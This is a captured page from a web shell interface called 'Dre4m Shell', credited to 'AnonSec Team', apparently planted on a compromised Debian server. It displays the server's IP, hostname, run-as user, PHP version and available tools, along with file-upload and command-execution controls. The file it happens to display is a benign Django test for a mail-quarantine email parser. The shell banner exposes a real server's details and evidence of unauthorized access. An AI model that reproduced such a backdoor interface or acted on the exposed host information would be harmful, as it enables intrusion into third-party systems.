Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.133.133.251
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/modoboa_amavis/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/modoboa_amavis/tests//test_sql_email.py
# -*- coding: utf-8 -*-

"""Tests for sql_email."""

from __future__ import unicode_literals

import os

from django.test import TestCase
from django.utils.encoding import smart_bytes, smart_text

from ..sql_email import SQLemail

SAMPLES_DIR = os.path.realpath(
    os.path.join(os.path.dirname(__file__), "sample_messages"))


class EmailTestImplementation(SQLemail):

    def _fetch_message(self):
        message_path = os.path.join(SAMPLES_DIR, "%s-input.txt" % self.mailid)
        assert os.path.isfile(message_path), "%s does not exist." % message_path

        with open(message_path, "rb") as fp:
            mail_text = smart_bytes(fp.read())

        return mail_text


class EmailTests(TestCase):
    """Tests for modoboa_amavis.sql_email.SQLEmail

    When writing new sample messages use the following naming convention for
    the sample files stored in sample_messages:

    input:  {message_id}-input.txt
    output: {message_id}-output-{dformat}_{no,}links.txt
    """

    def _get_expected_output(self, message_id, **kwargs):
        ext = kwargs["dformat"] if "dformat" in kwargs else "plain"
        ext += "_links" if "links" in kwargs and kwargs["links"] else "_nolinks"
        message_path = os.path.join(SAMPLES_DIR,
                                    "%s-output-%s.txt" % (message_id, ext))
        assert os.path.isfile(message_path), "%s does not exist." % message_path

        with open(message_path, "rb") as fp:
            # output should always be unicode (py2) or str (py3)
            mail_text = smart_text(fp.read())

        return mail_text

    def _test_email(self, message_id, **kwargs):
        """Boiler plate code for testing e-mails."""
        expected_output = self._get_expected_output(message_id, **kwargs)
        output = EmailTestImplementation(message_id, **kwargs).body
        self.assertEqual(output, expected_output)

    def test_amavis_aleart_header(self):
        email = EmailTestImplementation("quarantined")
        self.assertEqual(email.qtype, "BAD HEADER SECTION")
        self.assertEqual(email.qreason,
                         "Non-encoded non-ASCII data (and not UTF-8) (char 85 "
                         "hex): Subject: I think I saw you in my dreams\\x{85}")

    def test_email_multipart_with_no_text(self):
        """for a multipart message without a text/plain part convert the
           text/html to text/plain"""
        self._test_email("quarantined")

Anon7 - 2022
AnonSec Team